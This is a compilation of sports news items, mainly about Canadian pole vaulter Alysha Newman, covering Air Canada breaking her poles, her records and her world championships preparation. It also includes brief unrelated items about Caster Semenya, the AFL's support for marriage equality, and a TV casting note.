Lastly,@AirCanada is doing everything they can to figure out what has happened&how something like this can be prevented in the future!They are replacing all the broken poles&are deeply sorry!It made tonight that much better knowing I’ll have poles to come home to.Thx u @AirCanada
—@alysha_newman94
It’s been a long and sleepless few days but I’m extremely thankful for everyone who stepped in and helped! My agents, @TrackDiddy and Jeff Hartwig and even the girls who offered their poles ! I love pole vault for this reason, so much love and support ! I’m proud to be a vaulter!
—@alysha_newman94
On Thursday, Newman wrote that her heart was broken along with her poles, ‘thanks to Air Canada.’
My heart is broken&so are all my poles thanks to @AirCanada I’ve put my trust into you as an airline to get my poles & equipment safely to my competitions,spendings thousand of dollars weekly on flights and poles. This is how you treat people’s stuff? It’s shame, you let me down! pic.twitter.com/IruaznZ2fK
—@alysha_newman94
Canada’s largest airline asked her on Twitter to send a booking reference so it could investigate further.
Newman tweeted:
DM you ??? I’ll get a sorry and then maybe a 200$ reimbursement? Let’s see how you guys fix this! I’m excited to see how your going to replace $ 10,000 , cause that’s how much it will cost me. https://t.co/FHjM7aqZRB
—@alysha_newman94
Way to keep your head girl!
. I’m baffled at how they managed to break those poles
.
—@phyliciageorge
In an email to CBC News on Thursday, Air Canada spokesperson Peter Fitzpatrick said the airline had reached out to Newman and was arranging to deliver her new equipment.
While Newman competed with borrowed poles delivered to the stadium Friday morning from a local club in Qatar that are similar to the Carbon Mystic vaulting pole she has had for a couple of years, her coach Doug Wood was back home keeping an eye on his phone while trying to coach at a high school meet in Mississauga, Ont.
“Alysha did great,” he told CBC Sports. “She’ll probably be frustrated that she didn’t jump higher, but I’m really ecstatic. It was a very positive experience after a very negative start. She got three bars [4.24, 4.44, 4.54] on borrowed or loaned poles.
“Alysha is exceptionally talented at making adjustments mid-jump and I respect her competitive spirit. She’s a different beast and goes to a place you can only dream of. I’ve been around her for years and I’m still amazed.”
Wood said he spoke with Newman on Friday morning about the possibility of withdrawing from the Doha meet. He noted Newman is in a good place mentally, physically and technically coming off her Commonwealth Games victory last month and didn’t want her to risk injury using different poles.
Newman, who matched her personal best of 4.75 to shatter the Games record of 4.62, forged ahead, first clearing 4.24 in Doha before needing all three tries to clear 4.44 and 4.54.
In her breakthrough 2017 season, Newman vaulted 4.60 or more 10 times and cleared 4.70 at the world indoor track and field championships in March.
The Air Canada mishap hurts Newman on several levels.
“This goes way beyond just getting some money back for these poles. They’re custom made so they can’t be replaced quickly. Also Alysha was in a groove. She just won the Commonwealth Games tying her Canadian record so early in the season, so she’s on pace to vault even higher later in the season,” said CBC Sports analyst Anson Henry.
“She’s obviously accustomed to the poles as well, and they need to get work in. Plus, we’re talking about multiple poles for various situations and various bar heights. Now she can’t train, she can’t compete unless she borrows the poles, which won’t go over well. So, she can’t make any prize money.
“This could potentially take her out of contention in winning the Diamond League trophy,” added Henry, “which isn’t that far out of her realm of possibilities with the way she’s been vaulting. That’s $ 50,000 US, the Diamond trophy, and probably a lot of contract bonuses she could have gotten from her shoe contract with Nike with her Diamond League finish and world ranking at the end of the season.”
Wood said Air Canada has been helpful with Newman in the past and will put his faith in the airline doing “what is right” in this case.
“I would like to think [Air Canada] wasn’t negligent, that it was an accident,” he added.
Reigning Olympic silver medallist Sandi Morris of the United States won Friday’s event after clearing 4.84 on her final attempt, followed by Great Britain’s Holly Bradshaw (4.64) and American Katie Nageotte in a season-best 4.64.
Wood said Newman would return to competition on May 26 at the Prefontaine Classic, a Diamond League meet in Eugene, Ore.
Caster Semenya’s quest for a title double in the Diamond League started well when she won the 1,500 metres in a South African record time on Friday.
The two-time Olympic and three-time world champion in the 800 won the 1,500 comfortably by more than a second in 3:59.92, a world-leading and personal-best time.
“It’s always a dream to set the national record and I want to continue to push beyond my personal best,” she said. “We definitely achieved that here.
“I wanted to go faster, but had to slow down a little. I will go back and watch the race and see where we can improve.”
Semenya was racing for the first time since the International Association of Athletics Federations announced the introduction of new regulations, which take effect on Nov. 1, that limit the levels of natural testosterone allowed in the bodies of female athletes competing at distances from 400 to 1,500 metres.
She has been accused by some of having an unfair advantage due to her higher levels of testosterone.
Kenya’s Nelly Jepkosgei was second and set a PB in 4:00.99 while Ethiopia’s Habitam Alemu third (a season-best 4:01.41).
Semenya came to Doha after her 800-1,500 double at the Commonwealth Games in Australia last month, and begins the defence of her 800 Diamond League title at the Prefontaine Classic in Eugene, Ore., on May 26.
CBC Sports is providing live streaming coverage of all 14 Diamond League meets this season at CBCSports.ca and via the CBC Sports app for iOS and Android devices. TV coverage will be featured as part of the network’s Road To The Olympic Games weekend broadcasts throughout the season.
The following is a list of upcoming Diamond League meets:
Pole vaulter Alysha Newman’s record-setting performance highlighted another big day for Canada that saw the country win 14 more medals at the Commonwealth Games in Australia.
Newman matched her own Canadian record and broke the Commonwealth Games record by clearing 4.75 metres on her final attempt to defeat New Zealand’s Eliza McCartney (4.70) and Australia’s Nina Kennedy (4.65)
Newman, who set the Canadian record last summer, easily beat the old Commonwealth Games mark of 4.62, which had stood since 2006.
Newman, a bronze medallist at the 2014 Commonwealth Games and an Olympian in 2016, got a boost from the crowd before her final, record-setting jump.
“Having the crowd close by helped so much,” said the 23-year-old from London, Ont. “I felt vibrations from my toes all the way up to my hands when I was holding the pole.
“I couldn’t let anyone down.”
Canada’s 14 medals on Day 9 matched its Day 4 tally for the country’s best single-day haul at these Games. Canadians have won 27 medals over the last two days to raise the country’s total to 74. That trails only host Australia (168) and England (99).
Rhythmic gymnast Sophie Crane won the club event to give Canada another gold medal Friday, bringing Canada’s total in that department up to 14. That ranks fourth behind Australia (65), England (31) and India (17).
The Canadian team has set a goal of winning 100 medals before competition ends on Sunday.
Here the breakdown of Canada’s Day 9 medals:
Gold
Silver
Bronze
Canada’s combat-sport athletes raked in seven medals Friday, with boxers winning four and wrestlers picking up three.
A day after leading the Canadian charge with four medals, including a pair of gold, the wrestlers added three more courtesy of Lappage (silver), Shaefer (bronze) and Steen (bronze).
All four boxing medals were of the bronze variety and came after Canadian fighters lost their semifinal bouts. There are no bronze-medal matches in boxing — both semifinal losers receive a bronze.
Canada will get another boxing medal Saturday after Thomas Blumenfeld fights in the men’s 64kg gold-medal bout against Namibia’s Jonas Jonas. Blumenfeld advanced with a semifinal victory over Ghana’s Jessie Lartey on Friday.
Philippe Gagné picked up his second diving silver medal in as many days by teaming with François Imbeau-Dulac to finish second in the men’s 3m synchro.
Gagné took silver in the individual version of the event Thursday.
Canadian divers have now combined for six medals at these Games but are still looking for their first gold. Meaghan Benfeito also has a pair of silver medals.
Canada’s women’s rugby sevens team put itself in contention for a medal with a pair of wins to open its tournament.
Canada defeated South Africa 29-0 in the first-ever women’s rugby sevens match at the Commonwealth Games, with Caroline Crossley scoring the historic first try.
The Canadians then beat Kenya 24-12, setting up Saturday’s clash with world No. 2 New Zealand.
New Zealand is also 2-0, so the winner of that game will finish atop Pool A. The top two teams in each of the two pools advance to the semifinals.
The Canadian men’s team opens Saturday and will face Kenya, Zambia and New Zealand in pool play.
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Jaime Ray Newman is set to cast a spell on The Magicians.
The AFL received both praise and backlash for committing its support for marriage equality.
Responding to Sam Newman’s criticism of the move, McGuire said the AFL was showing that it stood for something.
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“There is an old saying that if you don’t stand for something, you stand for nothing,” McGuire said on The Footy Show.
McGuire’s club, Collingwood, is one of the clubs to have pledged its support for marriage equality.
The Pies president said the AFL’s move — which included temporarily replacing the ‘AFL’ sign outside its headquarters with a ‘Yes’ sign — was about showing people of all backgrounds they were welcome to be a part of football.

“If you put to the AFL, ‘do you stand for discrimination?’ they’d have put ‘no’ up on the wall,” McGuire said.
“Because the AFL stands for a situation that I think should be the lifeblood of our country, and that is that ‘it’s not what you are, it’s who you are — it’s what you contribute’.”
“But Sam — you can’t have the AFL saying to young kids ‘you can come here and be safe. If you’re a 14 or 15 year old and you’re gay, you can come to a football club, you can be part of it.’
“We’re inviting women in, we’re inviting people of all nationalities — it’s just saying that they are welcoming and for equality. That’s all it is.”
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Armed with a new women’s Canadian pole vault record, Alysha Newman is hoping to scratch a couple of other items off her season to-do list at Friday’s Diamond League final in Brussels (CBCSports.ca, 2 p.m. ET).
Newman’s stated goal of jumping 4.80 metres is within reach in her final event of 2017, as is a Diamond League Trophy and $ 50,000 US in prize money.
“Pole vault is a very technical event with so many different factors. I show up to every event with nothing but a ‘I’m going to win’ attitude,” the 23-year-old Newman told CBC Sports on Monday after improving upon her national outdoor mark with a jump of 4.75 metres at Sunday’s 19th International Pole Vault Meeting in Beckum, Germany.
Alysha Newman (@alysha_newman94) breaks
pole vault record with a clearance of 4.75m in Germany. pic.twitter.com/81oenFL2EE
“Relying on an object to work for you every time is something that takes time and experience to make the proper decisions when things aren’t going your way.”
Newman cleared 4.75 with room to spare on her third and final attempt to secure a second-place finish behind 2017 world bronze medallist Sandi Morris of the United States, who jumped 4.80. Yarisley Silva of Cuba and Holly Bradshaw rounded out the podium at 4.70.
Newman had struggled finding a comfort level with “a pretty stiff pole” she had used since placing seventh (4.65) at the track and field world championships earlier this month in London, England.
“It took me four meets to finally feel comfortable on that pole,” she said. “It still wasn’t one of my best jumps [of the season] technically, but I made it work.”
Canadian pole vaulter Alysha Newman finishes 7th at World Championships0:43
Newman’s old Canadian mark of 4.71 was set in April at the Hurricane Alumni Invitational at the University of Miami. The London, Ont., native went on to exceed 4.65 six times in her rookie professional season entering her debut at the world championships.
‘I don’t want to be perfect at this point. I want to know that I can fix a lot more, so I can jump a lot higher.’— Pole vaulter Alysha Newman after breaking her Canadian outdoor record
Newman understands there is plenty of room for improvement, a point her club coaches Doug Wood and Zeke Krykorka stressed on the weekend, and that suits the former gymnast just fine.
“I don’t want to be perfect at this point,” said Newman, who started pole vaulting at 16 after two fractured vertebrae forced her to retire from gymnastics. “I want to know that I can fix a lot more, so I can jump a lot higher.”
Greek champion Ekaterini Stefanidi, who won the women’s pole vault at last summer’s Rio Olympics by clearing 4.85 and posted a world-leading 4.91 at worlds, has been a source of inspiration for Newman.
“She doesn’t jump five metres or 5.95. She’s so consistent at 4.80 and 4.85 that you go to a meet and she jumps that [routinely],” Newman told CBC Sports earlier this summer. “That’s what makes her a threat to everyone. I want to go into a competition knowing I will jump 4.75, 4.80 on a good day or bad.”
After capturing the world title, Stefanidi jumped 4.75 to victory at Diamond League Birmingham, England on Aug. 20 and enters the Brussels competition as the heavy favourite.
“We compete against each other but we motivate and push each other to jump as high as we can,” said Newman. “I’m more of a threat now. I’m consistent and that’s a good thing to have when you’re a pole vaulter.”
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One year later, Alysha Newman still gets goosebumps talking about her Olympic debut.
Despite her victory in the women’s pole vault at the Canadian Olympic trials a month earlier with a jump of 4.40 metres, a 22-year-old Newman was extremely tense upon her arrival in Rio de Janeiro, marking the beginning of her emotional experience.
The night before her event, the London, Ont., native was filled with anxiety, unsure if she should leave her smartphone on airplane mode and concerned if she did, whether the alarm set for 5 a.m. would go off.
Newman left the phone on vibrate. Big mistake. “I was shocked at the number of people texting me,” she recalled.
Newman shook off a broken sleep, enjoyed a great warmup the next day at Maracana Stadium and cleared 4.45 on her first attempt. But her body didn’t feel right.
Ohhh yes, we are fine tuning this week
Last practice on Canadian soil

#WorldChampionships#TeamCanadapic.twitter.com/42LVxn5hmu
“I almost relaxed, thinking, ‘I’m good, I got this.’ But I was too relaxed, jumped the gun and my head already had me in the final,” Newman remembered. She went on to miss all three attempts at 4.45.
“I knew I was done,” said Newman, who failed to make the final and finished 17th overall. “I felt so confident. For some reason, at 4.45, the adrenalin let go. I will never forget that feeling and will never look ahead until there is a ‘Q’ for qualified beside my name.”
Now 23, a more confident and improved Newman will get her chance at redemption starting Friday in the qualifying round of the track and world championships at London Stadium in England, with the final Sunday (CBCSports.ca, 2 p.m. ET). She missed the 2015 worlds with stress fractures in each foot.
Since Rio, Newman has made adjustments on the runway to create more pole speed and better recover energy out of the pole that has led to her clearing 4.65 six times by her count this season, her first as a professional.
Another reason for Newman’s consistency and success on the Diamond League circuit and elsewhere in 2017 is her return to Canada after finishing school at the University of Miami. It’s the first time Bolton pole vault coach Doug Wood has worked full-time with Newman in their four years together.
Wood, who ranks second all-time in Canada in men’s pole vault behind defending world champion Shawn Barber with a lifetime best 5.65, is seeing the rewards of getting Newman in an environment “where she’s not in control of a situation” such as practice or in Diamond League action, something he and coaching partner Zeke Krykorka identified as a weakness of Newman after the Rio Olympics.
“Bouncing back and forth between two coaches the past five years stymied [Newman’s] potential,” Wood said in reference to Jerel Langley at U. of Miami. “I think having that consistent approach, seeing her every day, working and talking … has raised her game a lot.
“We feel like she’s bubbling under the surface and ready to explode.”
Newman, who started pole vaulting at 16 after two fractured vertebrae forced her to retire from gymnastics, believes she’s ready to reach her season goal of 4.80. Ekaterini Stefanidi, the Greek champion who is undefeated in seven outings this season, won the Rio competition, clearing 4.85 along with silver medallist Sandi Morris of the United States.
“I’ve worked so hard at my technique to create a lot of space between the pole and me, getting my hips up as fast as I can when the pole is rolling,” said Newman, who feels Elena Isinbaeva’s world and world championship records of 5.06 and 5.01, respectively, are within her reach. “I want to go into a competition knowing I will jump 4.75, 4.80 on a good day or bad.
“I want to be a medallist at worlds and the Olympics. I want to do that for Canada. For myself, this is my dream, my job, what I live for day in and day out. I just need that one meet to prove myself. I want to make a statement.”
Brittany Crew: The 23-year-old from Mississauga, Ont., has achieved the women’s world qualifying standard of 17.75 metres six times, including her throw of 18.32 to win at the Canadian championships last month. On May 20, Crew improved on her national record with a throw of 18.58 in Tucson, Ariz. Two days earlier, she broke Julie Labonte’s mark of 18:31 that stood since 2011. Crew finished 9th in her qualifying group at the Rio Olympics.
BOOM!
Another
CANADIAN RECORD
18.58M PB at 2nd day of Tucson Elite
@AthleticsCanada@EverythingTF#MFathletics Now #8 in the World! pic.twitter.com/uuzvPTye5B
Crystal Emmanuel: She put an exclamation point on her breakout season July 18 by shattering Marita Payne-Wiggins’ 34-year-old record in the women’s 200 metres, sprinting to a 22.50-second finish in Ireland. A 25-year-old Toronto native, Emmanuel enters worlds on a high following her double gold-medal performance (100 and 200) at the Canadian championships in Ottawa. Last August, she finished 23rd in the 200 at the Rio Olympics.
Crystal Emmanuel @CrystalEmm91 runs 22.50 (0.0) to set the
women’s 200-metre record at Cork City Sports. pic.twitter.com/pv5wTtewEn
Liz Gleadle: While the Vancouver athlete is not in the typical “emerging” years at age 28, Gleadle has rebounded strongly from a back injury suffered in March 2016. The two-time Olympic javelin thrower continues to threaten her Canadian record of 64.83 metres, topping out at 64.47 at London Stadium in England just two days after throwing 60.62 to win at the Canadian track and field championships in early July.
7x
Champion & a new Meet Record of 60.62m!
Big thanks to family & friends in Ottawa for looking after me and coming out to the track
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Sage Watson: The 23-year-old has accomplished plenty since her 11th-place finish in the women’s 400 hurdles at the Rio Olympics. Watson capped her NCAA career with a victory at the Division I championships on June 10 in a personal-best 54.52 seconds, just 0.13 seconds off Rosey Edeh’s Canadian record from 1996. In Watson’s two years at the University of Arizona, the native of Medicine Hat, Alta., never finished outside the top four in any 400 or 400 hurdles race.
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